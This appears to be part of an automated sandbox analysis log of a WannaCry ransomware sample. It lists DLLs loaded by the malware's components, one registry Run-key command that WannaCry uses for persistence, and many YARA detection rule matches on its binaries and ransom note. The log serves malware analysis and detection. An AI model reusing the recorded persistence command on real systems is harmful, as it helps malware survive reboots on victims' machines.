Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\TaskData\Tor\taskhsvc.exe	Section loaded: ssleay32.dll
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\TaskData\Tor\taskhsvc.exe	Section loaded: zlib1.dll
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\TaskData\Tor\taskhsvc.exe	Section loaded: libssp-0.dll
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\TaskData\Tor\taskhsvc.exe	Section loaded: libgcc_s_sjlj-1.dll
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\TaskData\Tor\taskhsvc.exe	Section loaded: libgcc_s_sjlj-1.dll
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\TaskData\Tor\taskhsvc.exe	Section loaded: libssp-0.dll
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\TaskData\Tor\taskhsvc.exe	Section loaded: libssp-0.dll
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\TaskData\Tor\taskhsvc.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\TaskData\Tor\taskhsvc.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\TaskData\Tor\taskhsvc.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\TaskData\Tor\taskhsvc.exe	Section loaded: netapi32.dll
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\TaskData\Tor\taskhsvc.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\TaskData\Tor\taskhsvc.exe	Section loaded: wkscli.dll
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\TaskData\Tor\taskhsvc.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\TaskData\Tor\taskhsvc.exe	Section loaded: netapi32.dll
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\TaskData\Tor\taskhsvc.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\TaskData\Tor\taskhsvc.exe	Section loaded: wkscli.dll
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\TaskData\Tor\taskhsvc.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\TaskData\Tor\taskhsvc.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\TaskData\Tor\taskhsvc.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\TaskData\Tor\taskhsvc.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\TaskData\Tor\taskhsvc.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\TaskData\Tor\taskhsvc.exe	Section loaded: propsys.dll
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\TaskData\Tor\taskhsvc.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\TaskData\Tor\taskhsvc.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\TaskData\Tor\taskhsvc.exe	Section loaded: netapi32.dll
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\TaskData\Tor\taskhsvc.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\TaskData\Tor\taskhsvc.exe	Section loaded: wkscli.dll
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\TaskData\Tor\taskhsvc.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\TaskData\Tor\taskhsvc.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\TaskData\Tor\taskhsvc.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\TaskData\Tor\taskhsvc.exe	Section loaded: dhcpcsvc.dll
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\TaskData\Tor\taskhsvc.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\taskdl.exe	Section loaded: msvcp60.dll
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\@WanaDecryptor@.exe	Section loaded: mfc42.dll
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\@WanaDecryptor@.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\@WanaDecryptor@.exe	Section loaded: msvcp60.dll
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\@WanaDecryptor@.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\@WanaDecryptor@.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\@WanaDecryptor@.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\@WanaDecryptor@.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\VSSVC.exe	Section loaded: devobj.dll
Source: C:\Windows\System32\VSSVC.exe	Section loaded: vssapi.dll
Source: C:\Windows\System32\VSSVC.exe	Section loaded: vsstrace.dll
Source: C:\Windows\System32\VSSVC.exe	Section loaded: authz.dll
Source: C:\Windows\System32\VSSVC.exe	Section loaded: virtdisk.dll
Source: C:\Windows\System32\VSSVC.exe	Section loaded: bcd.dll
Source: C:\Windows\System32\VSSVC.exe	Section loaded: fltlib.dll
Source: C:\Windows\System32\VSSVC.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\VSSVC.exe	Section loaded: es.dll
Source: C:\Windows\System32\VSSVC.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\VSSVC.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\VSSVC.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\VSSVC.exe	Section loaded: samcli.dll
Source: C:\Windows\System32\VSSVC.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\VSSVC.exe	Section loaded: samlib.dll
Source: C:\Windows\System32\VSSVC.exe	Section loaded: vss_ps.dll
Source: C:\Windows\System32\VSSVC.exe	Section loaded: propsys.dll
Source: C:\Windows\System32\VSSVC.exe	Section loaded: catsrvut.dll
Source: C:\Windows\System32\VSSVC.exe	Section loaded: mfcsubs.dll
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\@WanaDecryptor@.exe	Section loaded: mfc42.dll
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\@WanaDecryptor@.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\@WanaDecryptor@.exe	Section loaded: msvcp60.dll
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\@WanaDecryptor@.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\@WanaDecryptor@.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\@WanaDecryptor@.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\@WanaDecryptor@.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\taskdl.exe	Section loaded: msvcp60.dll
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\@WanaDecryptor@.exe	Section loaded: mfc42.dll
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\@WanaDecryptor@.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\@WanaDecryptor@.exe	Section loaded: msvcp60.dll
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\@WanaDecryptor@.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\@WanaDecryptor@.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\@WanaDecryptor@.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\@WanaDecryptor@.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\@WanaDecryptor@.exe	Section loaded: mfc42.dll
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\@WanaDecryptor@.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\@WanaDecryptor@.exe	Section loaded: msvcp60.dll
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\@WanaDecryptor@.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\@WanaDecryptor@.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\@WanaDecryptor@.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\@WanaDecryptor@.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\taskdl.exe	Section loaded: msvcp60.dll
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\@WanaDecryptor@.exe	Section loaded: mfc42.dll
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\@WanaDecryptor@.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\@WanaDecryptor@.exe	Section loaded: msvcp60.dll
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\@WanaDecryptor@.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\@WanaDecryptor@.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\@WanaDecryptor@.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\@WanaDecryptor@.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\@WanaDecryptor@.exe	Section loaded: mfc42.dll
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\@WanaDecryptor@.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\@WanaDecryptor@.exe	Section loaded: msvcp60.dll
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\@WanaDecryptor@.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\@WanaDecryptor@.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\@WanaDecryptor@.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\@WanaDecryptor@.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\taskdl.exe	Section loaded: msvcp60.dll
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\@WanaDecryptor@.exe	Section loaded: mfc42.dll
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\@WanaDecryptor@.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\@WanaDecryptor@.exe	Section loaded: msvcp60.dll
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\@WanaDecryptor@.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\@WanaDecryptor@.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\@WanaDecryptor@.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\@WanaDecryptor@.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\@WanaDecryptor@.exe	Section loaded: mfc42.dll
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\@WanaDecryptor@.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\@WanaDecryptor@.exe	Section loaded: msvcp60.dll
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\@WanaDecryptor@.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\@WanaDecryptor@.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\@WanaDecryptor@.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\@WanaDecryptor@.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\taskdl.exe	Section loaded: msvcp60.dll
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\@WanaDecryptor@.exe	Section loaded: mfc42.dll
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\@WanaDecryptor@.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\@WanaDecryptor@.exe	Section loaded: msvcp60.dll
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\@WanaDecryptor@.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\@WanaDecryptor@.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\@WanaDecryptor@.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\@WanaDecryptor@.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\@WanaDecryptor@.exe	Section loaded: mfc42.dll
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\@WanaDecryptor@.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\@WanaDecryptor@.exe	Section loaded: msvcp60.dll
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\@WanaDecryptor@.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\@WanaDecryptor@.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\@WanaDecryptor@.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\@WanaDecryptor@.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\taskdl.exe	Section loaded: msvcp60.dll
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\@WanaDecryptor@.exe	Section loaded: mfc42.dll
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\@WanaDecryptor@.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\@WanaDecryptor@.exe	Section loaded: msvcp60.dll
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\@WanaDecryptor@.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\@WanaDecryptor@.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\@WanaDecryptor@.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\@WanaDecryptor@.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\@WanaDecryptor@.exe	Section loaded: mfc42.dll
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\@WanaDecryptor@.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\@WanaDecryptor@.exe	Section loaded: msvcp60.dll
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\@WanaDecryptor@.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\@WanaDecryptor@.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\@WanaDecryptor@.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\@WanaDecryptor@.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\taskdl.exe	Section loaded: msvcp60.dll
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\@WanaDecryptor@.exe	Section loaded: mfc42.dll
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\@WanaDecryptor@.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\@WanaDecryptor@.exe	Section loaded: msvcp60.dll
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\@WanaDecryptor@.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\@WanaDecryptor@.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\@WanaDecryptor@.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\@WanaDecryptor@.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\@WanaDecryptor@.exe	Section loaded: mfc42.dll
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\@WanaDecryptor@.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\@WanaDecryptor@.exe	Section loaded: msvcp60.dll
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\@WanaDecryptor@.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\@WanaDecryptor@.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\@WanaDecryptor@.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\@WanaDecryptor@.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\taskdl.exe	Section loaded: msvcp60.dll
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\@WanaDecryptor@.exe	Section loaded: mfc42.dll
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\@WanaDecryptor@.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\@WanaDecryptor@.exe	Section loaded: msvcp60.dll
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\@WanaDecryptor@.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\@WanaDecryptor@.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\@WanaDecryptor@.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\@WanaDecryptor@.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\@WanaDecryptor@.exe	Section loaded: mfc42.dll
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\@WanaDecryptor@.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\@WanaDecryptor@.exe	Section loaded: msvcp60.dll
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\@WanaDecryptor@.exe	Section loaded: wininet.dll

Source: C:\Windows\SysWOW64\cmd.exe

Process created: C:\Windows\SysWOW64\reg.exe reg add HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v "whprujwpxi808" /t REG_SZ /d "\"C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\tasksche.exe\"" /f

Source: 69.0.@WanaDecryptor@.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Win32_Ransomware_WannaCry tc_detection_name = WannaCry, tc_detection_factor = , author = ReversingLabs, tc_detection_type = Ransomware
Source: 11.0.ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: WannaCry_Ransomware date = 2017-05-12, hash1 = ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa, author = Florian Roth (with the help of binar.ly), description = Detects WannaCry Ransomware, reference = https://goo.gl/HG2j5T
Source: 11.0.ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: wanna_cry_ransomware_generic date = 2017/05/12, hash0 = 4da1f312a214c07143abeeafb695d904, author = us-cert code analysis team, description = detects wannacry ransomware on disk and in virtual page, reference = not set
Source: 11.0.ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Win32_Ransomware_WannaCry tc_detection_name = WannaCry, tc_detection_factor = , author = ReversingLabs, tc_detection_type = Ransomware
Source: 0000000B.00000000.1406207775.000000000040E000.00000008.00000001.01000000.00000006.sdmp, type: MEMORY	Matched rule: wanna_cry_ransomware_generic date = 2017/05/12, hash0 = 4da1f312a214c07143abeeafb695d904, author = us-cert code analysis team, description = detects wannacry ransomware on disk and in virtual page, reference = not set
Source: C:\Users\user\AppData\Local\@Please_Read_Me@.txt, type: DROPPED	Matched rule: WannaCry_RansomNote date = 2017-05-12, hash1 = 4a25d98c121bb3bd5b54e0b6a5348f7b09966bffeec30776e5a731813f05d49e, author = Florian Roth, description = Detects WannaCry Ransomware Note, reference = https://goo.gl/HG2j5T, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: C:\Users\user\AppData\Local\@Please_Read_Me@.txt, type: DROPPED	Matched rule: WannaCry_RansomNote date = 2017-05-12, hash1 = 4a25d98c121bb3bd5b54e0b6a5348f7b09966bffeec30776e5a731813f05d49e, author = Florian Roth, description = Detects WannaCry Ransomware Note, reference = https://goo.gl/HG2j5T, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: C:\Users\user\AppData\Local\@Please_Read_Me@.txt, type: DROPPED	Matched rule: WannaCry_RansomNote date = 2017-05-12, hash1 = 4a25d98c121bb3bd5b54e0b6a5348f7b09966bffeec30776e5a731813f05d49e, author = Florian Roth, description = Detects WannaCry Ransomware Note, reference = https://goo.gl/HG2j5T, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: C:\Users\user\AppData\Local\@Please_Read_Me@.txt, type: DROPPED	Matched rule: WannaCry_RansomNote date = 2017-05-12, hash1 = 4a25d98c121bb3bd5b54e0b6a5348f7b09966bffeec30776e5a731813f05d49e, author = Florian Roth, description = Detects WannaCry Ransomware Note, reference = https://goo.gl/HG2j5T, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: C:\Users\user\AppData\Local\@Please_Read_Me@.txt, type: DROPPED	Matched rule: WannaCry_RansomNote date = 2017-05-12, hash1 = 4a25d98c121bb3bd5b54e0b6a5348f7b09966bffeec30776e5a731813f05d49e, author = Florian Roth, description = Detects WannaCry Ransomware Note, reference = https://goo.gl/HG2j5T, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\r.wnry, type: DROPPED	Matched rule: WannaCry_RansomNote date = 2017-05-12, hash1 = 4a25d98c121bb3bd5b54e0b6a5348f7b09966bffeec30776e5a731813f05d49e, author = Florian Roth, description = Detects WannaCry Ransomware Note, reference = https://goo.gl/HG2j5T, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\u.wnry, type: DROPPED	Matched rule: Win32_Ransomware_WannaCry tc_detection_name = WannaCry, tc_detection_factor = , author = ReversingLabs, tc_detection_type = Ransomware
Source: C:\Users\user\AppData\Local\@Please_Read_Me@.txt, type: DROPPED	Matched rule: WannaCry_RansomNote date = 2017-05-12, hash1 = 4a25d98c121bb3bd5b54e0b6a5348f7b09966bffeec30776e5a731813f05d49e, author = Florian Roth, description = Detects WannaCry Ransomware Note, reference = https://goo.gl/HG2j5T, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\@WanaDecryptor@.exe, type: DROPPED	Matched rule: Win32_Ransomware_WannaCry tc_detection_name = WannaCry, tc_detection_factor = , author = ReversingLabs, tc_detection_type = Ransomware
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\58191711205328.bat, type: DROPPED	Matched rule: WannCry_BAT date = 2017-05-12, hash1 = f01b7f52e3cb64f01ddc248eb6ae871775ef7cb4297eba5d230d0345af9a5077, author = Florian Roth, description = Detects WannaCry Ransomware BATCH File, reference = https://goo.gl/HG2j5T, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\@WanaDecryptor@.exe, type: DROPPED	Matched rule: Win32_Ransomware_WannaCry tc_detection_name = WannaCry, tc_detection_factor = , author = ReversingLabs, tc_detection_type = Ransomware
Source: C:\Users\user\AppData\Local\@Please_Read_Me@.txt, type: DROPPED	Matched rule: WannaCry_RansomNote date = 2017-05-12, hash1 = 4a25d98c121bb3bd5b54e0b6a5348f7b09966bffeec30776e5a731813f05d49e, author = Florian Roth, description = Detects WannaCry Ransomware Note, reference = https://goo.gl/HG2j5T, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\@WanaDecryptor@.exe, type: DROPPED	Matched rule: Win32_Ransomware_WannaCry tc_detection_name = WannaCry, tc_detection_factor = , author = ReversingLabs, tc_detection_type = Ransomware
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\@WanaDecryptor@.exe, type: DROPPED	Matched rule: Win32_Ransomware_WannaCry tc_detection_name = WannaCry, tc_detection_factor = , author = ReversingLabs, tc_detection_type = Ransomware
Source: C:\Users\user\AppData\Local\@Please_Read_Me@.txt, type: DROPPED	Matched rule: WannaCry_RansomNote date = 2017-05-12, hash1 = 4a25d98c121bb3bd5b54e0b6a5348f7b09966bffeec30776e5a731813f05d49e, author = Florian Roth, description = Detects WannaCry Ransomware Note, reference = https://goo.gl/HG2j5T, license = https://creativecommons.org/licenses/by-nc/4.0/
